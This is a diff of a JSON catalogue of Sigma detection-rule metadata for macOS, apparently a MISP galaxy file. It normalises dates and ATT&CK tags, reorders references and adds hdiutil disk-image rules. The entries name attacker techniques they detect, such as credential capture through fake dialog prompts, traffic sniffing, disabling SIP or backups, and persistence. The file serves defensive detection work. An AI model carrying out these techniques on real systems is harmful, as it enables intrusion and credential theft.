"author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Legitimate remote share creation" ], @@ -85709,14 +85815,14 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/accf23b0-0f57-441c-9185-43041f1b0ee9", "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_remote_server_service_abuse.yml" ], "tags": [ - "attack.lateral_movement" + "attack.lateral-movement" ] }, "uuid": "b6ea3cc7-542f-43ef-bbe4-980fbed444c7", @@ -85726,7 +85832,7 @@ "description": "Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.", "meta": { "author": "Sagie Dulce, Dekel Paz", - "creation_date": "2022/01/01", + "creation_date": "2022-01-01", "falsepositive": [ "Unknown" ], @@ -85735,10 +85841,10 @@ "logsource.category": "application", "logsource.product": "rpc_firewall", "refs": [ - "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", - "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", "https://github.com/zeronetworks/rpcfirewall", "https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/", + "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183", + "https://github.com/jsecurity101/MSRPC-to-ATTACK/blob/ddd4608fe8684fcf2fcf9b48c5f0b3c28097f8a3/documents/MS-SRVS.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/application/rpc_firewall/rpc_firewall_sharphound_recon_sessions.yml" ], "tags": [ @@ -85761,7 +85867,7 @@ "description": "Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/23", + "creation_date": "2020-10-23", "falsepositive": [ "Legitimate administration activities" ], @@ -85776,7 +85882,7 @@ ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1546.014" ] }, @@ -85793,24 +85899,25 @@ "value": "MacOS Emond Launch Daemon" }, { - "description": "Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.", + "description": "Detects the creation of a startup item plist file, that automatically get executed at boot initialization to establish persistence.\nAdversaries may use startup items automatically executed at boot initialization to establish persistence.\nStartup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.\n", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/14", + "creation_date": "2020-10-14", "falsepositive": [ "Legitimate administration activities" ], - "filename": "file_event_macos_startup_items.yml", + "filename": "file_event_macos_susp_startup_item_created.yml", "level": "low", "logsource.category": "file_event", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_startup_items.yml" + "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_susp_startup_item_created.yml" ], "tags": [ "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1037.005" ] }, @@ -85824,13 +85931,13 @@ } ], "uuid": "dfe8b941-4e54-4242-b674-6b613d521962", - "value": "Startup Items" + "value": "Startup Item File Created - MacOS" }, { "description": "Detects macOS Gatekeeper bypass via xattr utility", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -85844,7 +85951,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.001" ] }, @@ -85864,7 +85971,7 @@ "description": "Detects the use of csrutil to disable the Configure System Integrity Protection (SIP). This technique is used in post-exploit scenarios.\n", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2024/01/02", + "creation_date": "2024-01-02", "falsepositive": [ "Unknown" ], @@ -85873,10 +85980,10 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", "https://www.virustotal.com/gui/file/05a2adb266ec6c0ba9ed176d87d8530e71e845348c13caf9f60049760c312cd3/behavior", - "https://ss64.com/osx/csrutil.html", "https://objective-see.org/blog/blog_0x6D.html", + "https://ss64.com/osx/csrutil.html", + "https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml" ], "tags": [ @@ -85900,7 +86007,7 @@ "description": "Detects usage of \"find\" binary in a suspicious manner to perform discovery", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/12/28", + "creation_date": "2022-12-28", "falsepositive": [ "Unknown" ], @@ -85933,7 +86040,7 @@ "description": "Detects potential suspicious run-only executions compiled using OSACompile", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/01/31", + "creation_date": "2023-01-31", "falsepositive": [ "Unknown" ], @@ -85942,8 +86049,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://redcanary.com/blog/applescript/", "https://ss64.com/osx/osacompile.html", + "https://redcanary.com/blog/applescript/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_osacompile_runonly_execution.yml" ], "tags": [ @@ -85967,7 +86074,7 @@ "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate administrative activity" ], @@ -86000,7 +86107,7 @@ "description": "Detects possible malicious execution of JXA in-memory via OSAScript", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/01/31", + "creation_date": "2023-01-31", "falsepositive": [ "Unknown" ], @@ -86041,7 +86148,7 @@ "description": "Detects the use of \"ioreg\" which will show I/O Kit registry information.\nThis process is used for system information discovery.\nIt has been observed in-the-wild by calling this process directly or using bash and grep to look for specific strings.\n", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/12/20", + "creation_date": "2023-12-20", "falsepositive": [ "Legitimate administrative activities" ], @@ -86050,10 +86157,10 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ + "https://www.virustotal.com/gui/file/0373d78db6c3c0f6f6dcc409821bf89e1ad8c165d6f95c5c80ecdce2219627d7/behavior", + "https://www.virustotal.com/gui/file/4ffdc72d1ff1ee8228e31691020fc275afd1baee5a985403a71ca8c7bd36e2e4/behavior", "https://www.trendmicro.com/en_ph/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", "https://www.virustotal.com/gui/file/5907d59ec1303cfb5c0a0f4aaca3efc0830707d86c732ba6b9e842b5730b95dc/behavior", - "https://www.virustotal.com/gui/file/4ffdc72d1ff1ee8228e31691020fc275afd1baee5a985403a71ca8c7bd36e2e4/behavior", - "https://www.virustotal.com/gui/file/0373d78db6c3c0f6f6dcc409821bf89e1ad8c165d6f95c5c80ecdce2219627d7/behavior", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_ioreg_discovery.yml" ], "tags": [ @@ -86077,7 +86184,7 @@ "description": "Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", - "creation_date": "2022/10/17", + "creation_date": "2022-10-17", "falsepositive": [ "Unknown" ], @@ -86086,13 +86193,13 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97", - "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml" ], "tags": [ - "attack.command_and_control" + "attack.command-and-control" ] }, "uuid": "f68c4a4f-19ef-4817-952c-50dce331f4b0", @@ -86102,7 +86209,7 @@ "description": "Detects the usage of tooling to sniff network traffic.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/14", + "creation_date": "2020-10-14", "falsepositive": [ "Legitimate administration activities" ], @@ -86116,7 +86223,7 @@ ], "tags": [ "attack.discovery", - "attack.credential_access", + "attack.credential-access", "attack.t1040" ] }, @@ -86136,7 +86243,7 @@ "description": "Detects disabling of Time Machine (Apple's automated backup utility software) via the native macOS backup utility \"tmutil\".\nAn attacker can use this to prevent backups from occurring.\n", "meta": { "author": "Pratinav Chandra", - "creation_date": "2024/05/29", + "creation_date": "2024-05-29", "falsepositive": [ "Legitimate administrator activity" ], @@ -86145,8 +86252,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://www.loobins.io/binaries/tmutil/", "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1490/T1490.md#atomic-test-12---disable-time-machine", + "https://www.loobins.io/binaries/tmutil/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml" ], "tags": [ @@ -86170,7 +86277,7 @@ "description": "Detects execution of the \"jamf\" binary to create user accounts and run commands. For example, the binary can be abused by attackers on the system in order to bypass security controls or remove application control polices.\n", "meta": { "author": "Jay Pandit", - "creation_date": "2023/08/22", + "creation_date": "2023-08-22", "falsepositive": [ "Legitimate use of the JAMF CLI tool by IT support and administrators" ], @@ -86179,8 +86286,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://www.zoocoup.org/casper/jamf_cheatsheet.pdf", "https://github.com/MythicAgents/typhon/", + "https://www.zoocoup.org/casper/jamf_cheatsheet.pdf", "https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jamf_usage.yml" ], @@ -86195,7 +86302,7 @@ "description": "Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/08/22", + "creation_date": "2023-08-22", "falsepositive": [ "Legitimate administration activities" ], @@ -86204,13 +86311,13 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://ss64.com/osx/dseditgroup.html", "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-5---add-a-newexisting-user-to-the-admin-group-using-dseditgroup-utility---macos", + "https://ss64.com/osx/dseditgroup.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dseditgroup_add_to_admin_group.yml" ], "tags": [ - "attack.initial_access", - "attack.privilege_escalation", + "attack.initial-access", + "attack.privilege-escalation", "attack.t1078.003" ] }, @@ -86230,7 +86337,7 @@ "description": "Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.", "meta": { "author": "Pratinav Chandra", - "creation_date": "2024/05/13", + "creation_date": "2024-05-13", "falsepositive": [ "Legitimate administration activities is expected to trigger false positives. Investigate the command line being passed to determine if the service or launch agent are suspicious." ], @@ -86239,10 +86346,10 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/", - "https://www.trendmicro.com/en_us/research/18/d/new-macos-backdoor-linked-to-oceanlotus-found.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.001/T1569.001.md", "https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.001/T1569.001.md", + "https://www.trendmicro.com/en_us/research/18/d/new-macos-backdoor-linked-to-oceanlotus-found.html", + "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/", "https://www.loobins.io/binaries/launchctl/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_launchctl_execution.yml" ], @@ -86280,11 +86387,36 @@ "uuid": "ae9d710f-dcd1-4f75-a0a5-93a73b5dda0e", "value": "Launch Agent/Daemon Execution Via Launchctl" }, + { + "description": "Detects the execution of the hdiutil utility in order to create a disk image.", + "meta": { + "author": "Omar Khaled (@beacon_exe)", + "creation_date": "2024-08-10", + "falsepositive": [ + "Legitimate usage of hdiutil by administrators and users." + ], + "filename": "proc_creation_macos_hdiutil_create.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://ss64.com/mac/hdiutil.html", + "https://www.loobins.io/binaries/hdiutil/", + "https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_hdiutil_create.yml" + ], + "tags": [ + "attack.exfiltration" + ] + }, + "uuid": "1cf98dc2-fcb0-47c9-8aea-654c9284d1ae", + "value": "Disk Image Creation Via Hdiutil - MacOS" + }, { "description": "Detects attempts to create and add an account to the admin group via \"sysadminctl\"", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/03/19", + "creation_date": "2023-03-19", "falsepositive": [ "Legitimate administration activities" ], @@ -86298,8 +86430,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_add_user_to_admin_group.yml" ], "tags": [ - "attack.initial_access", - "attack.privilege_escalation", + "attack.initial-access", + "attack.privilege-escalation", "attack.t1078.003" ] }, @@ -86319,7 +86451,7 @@ "description": "Detects attempts to use system dialog prompts to capture user credentials", "meta": { "author": "remotephone, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Legitimate administration tools and activities" ], @@ -86328,12 +86460,12 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md", + "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1056.002" ] }, @@ -86353,7 +86485,7 @@ "description": "Detects the use of \"sw_vers\" for system information discovery", "meta": { "author": "Joseliyo Sanchez, @Joseliyo_Jstnk", - "creation_date": "2023/12/20", + "creation_date": "2023-12-20", "falsepositive": [ "Legitimate administrative activities" ], @@ -86388,7 +86520,7 @@ "description": "Detects potential suspicious child processes of \"jamf\". Could be a sign of potential abuse of Jamf as a C2 server as seen by Typhon MythicAgent.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/22", + "creation_date": "2023-08-22", "falsepositive": [ "Legitimate execution of custom scripts or commands by Jamf administrators. Apply additional filters accordingly" ], @@ -86397,8 +86529,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://www.zoocoup.org/casper/jamf_cheatsheet.pdf", "https://github.com/MythicAgents/typhon/", + "https://www.zoocoup.org/casper/jamf_cheatsheet.pdf", "https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_jamf_susp_child.yml" ], @@ -86413,7 +86545,7 @@ "description": "Detects attempts to create and add an account to the admin group via \"dscl\"", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/03/19", + "creation_date": "2023-03-19", "falsepositive": [ "Legitimate administration activities" ], @@ -86422,13 +86554,13 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-2---create-local-account-with-admin-privileges---macos", "https://ss64.com/osx/dscl.html", + "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1078.003/T1078.003.md#atomic-test-2---create-local-account-with-admin-privileges---macos", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dscl_add_user_to_admin_group.yml" ], "tags": [ - "attack.initial_access", - "attack.privilege_escalation", + "attack.initial-access", + "attack.privilege-escalation", "attack.t1078.003" ] }, @@ -86448,7 +86580,7 @@ "description": "Detects attempts to enable the root account via \"dsenableroot\"", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/08/22", + "creation_date": "2023-08-22", "falsepositive": [ "Unknown" ], @@ -86457,16 +86589,16 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1078.003/T1078.003.md", - "https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/persistence_enable_root_account.toml", "https://ss64.com/osx/dsenableroot.html", + "https://github.com/elastic/detection-rules/blob/4312d8c9583be524578a14fe6295c3370b9a9307/rules/macos/persistence_enable_root_account.toml", + "https://github.com/redcanaryco/atomic-red-team/blob/b27a3cb25025161d49ac861cb216db68c46a3537/atomics/T1078.003/T1078.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_dsenableroot_enable_root_account.yml" ], "tags": [ "attack.t1078", "attack.t1078.001", "attack.t1078.003", - "attack.initial_access", + "attack.initial-access", "attack.persistence" ] }, @@ -86500,7 +86632,7 @@ "description": "Detects enumeration of local system groups", "meta": { "author": "Ömer Günal, Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/11", + "creation_date": "2020-10-11", "falsepositive": [ "Legitimate administration activities" ], @@ -86533,7 +86665,7 @@ "description": "Detects the command line executed when TeamViewer starts a session started by a remote host.\nOnce a connection has been started, an investigator can verify the connection details by viewing the \"incoming_connections.txt\" log file in the TeamViewer folder.\n", "meta": { "author": "Josh Nickels, Qi Nan", - "creation_date": "2024/03/11", + "creation_date": "2024-03-11", "falsepositive": [ "Legitimate usage of TeamViewer" ], @@ -86546,7 +86678,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_access_tools_teamviewer_incoming_connection.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1133" ] }, @@ -86566,7 +86698,7 @@ "description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/30", + "creation_date": "2021-09-30", "falsepositive": [ "Legitimate administration activities" ], @@ -86576,8 +86708,8 @@ "logsource.product": "macos", "refs": [ "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web", - "https://www.manpagez.com/man/8/firmwarepasswd/", "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", + "https://www.manpagez.com/man/8/firmwarepasswd/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml" ], "tags": [ @@ -86587,11 +86719,54 @@ "uuid": "7ed2c9f7-c59d-4c82-a7e2-f859aa676099", "value": "Suspicious MacOS Firmware Activity" }, + { + "description": "Detects the execution of the hdiutil utility in order to mount disk images.", + "meta": { + "author": "Omar Khaled (@beacon_exe)", + "creation_date": "2024-08-10", + "falsepositive": [ + "Legitimate usage of hdiutil by administrators and users." + ], + "filename": "proc_creation_macos_hdiutil_mount.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "macos", + "refs": [ + "https://ss64.com/mac/hdiutil.html", + "https://www.loobins.io/binaries/hdiutil/", + "https://www.sentinelone.com/blog/from-the-front-linesunsigned-macos-orat-malware-gambles-for-the-win/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_hdiutil_mount.yml" + ], + "tags": [ + "attack.initial-access", + "attack.t1566.001", + "attack.t1560.001" + ] + }, + "related": [ + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "bf241472-f014-4f01-a869-96f99330ca8c", + "value": "Disk Image Mounting Via Hdiutil - MacOS" + }, { "description": "Detects disabling security tools", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate activities" ], @@ -86604,7 +86779,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -86624,7 +86799,7 @@ "description": "Detects attempts to use screencapture to collect macOS screenshots", "meta": { "author": "remotephone, oscd.community", - "creation_date": "2020/10/13", + "creation_date": "2020-10-13", "falsepositive": [ "Legitimate user activity taking screenshots" ], @@ -86633,8 +86808,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml" ], "tags": [ @@ -86658,7 +86833,7 @@ "description": "Detect file time attribute change to hide new or changes to existing files", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Unknown" ], @@ -86671,7 +86846,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.006" ] }, @@ -86691,7 +86866,7 @@ "description": "Detects the execution of \"sysctl\" with specific arguments that have been used by threat actors and malware. It provides system hardware information.\nThis process is primarily used to detect and avoid virtualization and analysis environments.\n", "meta": { "author": "Pratinav Chandra", - "creation_date": "2024/05/27", + "creation_date": "2024-05-27", "falsepositive": [ "Legitimate administrative activities" ], @@ -86700,17 +86875,17 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://objective-see.org/blog/blog_0x1E.html", - "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "https://www.virustotal.com/gui/file/1c547a064494a35d6b5e6b459de183ab2720a22725e082bed6f6629211f7abc1/behavior", + "https://www.loobins.io/binaries/sysctl/#", "https://evasions.checkpoint.com/techniques/macos.html", - "https://www.virustotal.com/gui/file/b4b1fc65f87b3dcfa35e2dbe8e0a34ad9d8a400bec332025c0a2e200671038aa/behavior", "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/", - "https://www.loobins.io/binaries/sysctl/#", - "https://www.virustotal.com/gui/file/1c547a064494a35d6b5e6b459de183ab2720a22725e082bed6f6629211f7abc1/behavior", + "https://objective-see.org/blog/blog_0x1E.html", + "https://www.virustotal.com/gui/file/b4b1fc65f87b3dcfa35e2dbe8e0a34ad9d8a400bec332025c0a2e200671038aa/behavior", + "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_sysctl_discovery.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1497.001", "attack.discovery", "attack.t1082" @@ -86739,7 +86914,7 @@ "description": "Detects enumeration of local or remote network services.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/21", + "creation_date": "2020-10-21", "falsepositive": [ "Legitimate administration activities" ], @@ -86772,7 +86947,7 @@ "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/19", + "creation_date": "2020-10-19", "falsepositive": [ "Legitimate script work" ], @@ -86781,13 +86956,13 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://linux.die.net/man/1/truncate", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", + "https://linux.die.net/man/1/truncate", "https://linux.die.net/man/1/dd", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_binary_padding.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.001" ] }, @@ -86807,7 +86982,7 @@ "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/06", + "creation_date": "2020-10-06", "falsepositive": [ "Legitimate administration activities" ], @@ -86822,7 +86997,7 @@ "tags": [ "attack.execution", "attack.persistence", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1053.003" ] }, @@ -86842,7 +87017,7 @@ "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", - "creation_date": "2020/10/15", + "creation_date": "2020-10-15", "falsepositive": [ "Legitimate administrative activity" ], @@ -86875,7 +87050,7 @@ "description": "Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/01/31", + "creation_date": "2023-01-31", "falsepositive": [ "Unknown" ], @@ -86884,8 +87059,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://objective-see.org/blog/blog_0x4B.html", "https://redcanary.com/blog/applescript/", + "https://objective-see.org/blog/blog_0x4B.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_office_susp_child_processes.yml" ], "tags": [ @@ -86926,7 +87101,7 @@ "description": "Detects attempts to enable the guest account using the sysadminctl utility", "meta": { "author": "Sohan G (D4rkCiph3r)", - "creation_date": "2023/02/18", + "creation_date": "2023-02-18", "falsepositive": [ "Unknown" ], @@ -86939,7 +87114,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_sysadminctl_enable_guest_account.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1078", "attack.t1078.001" ] @@ -86967,7 +87142,7 @@ "description": "Detects the enumeration of other remote systems.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/22", + "creation_date": "2020-10-22", "falsepositive": [ "Legitimate administration activities" ], @@ -87000,7 +87175,7 @@ "description": "Detects execution of AppleScript of the macOS scripting language AppleScript.", "meta": { "author": "Alejandro Ortuno, oscd.community", - "creation_date": "2020/10/21", + "creation_date": "2020-10-21", "falsepositive": [ "Application installers might contain scripts as part of the installation process." ], @@ -87009,8 +87184,8 @@ "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ - "https://redcanary.com/blog/applescript/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md", + "https://redcanary.com/blog/applescript/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_applescript.yml" ], "tags": [ @@ -87034,7 +87209,7 @@ "description": "Detects potential suspicious applet or osascript executing \"osacompile\".", "meta": { "author": "Sohan G (D4rkCiph3r), Red Canary (Idea)", - "creation_date": "2023/04/03", + "creation_date": "2023-04-03", 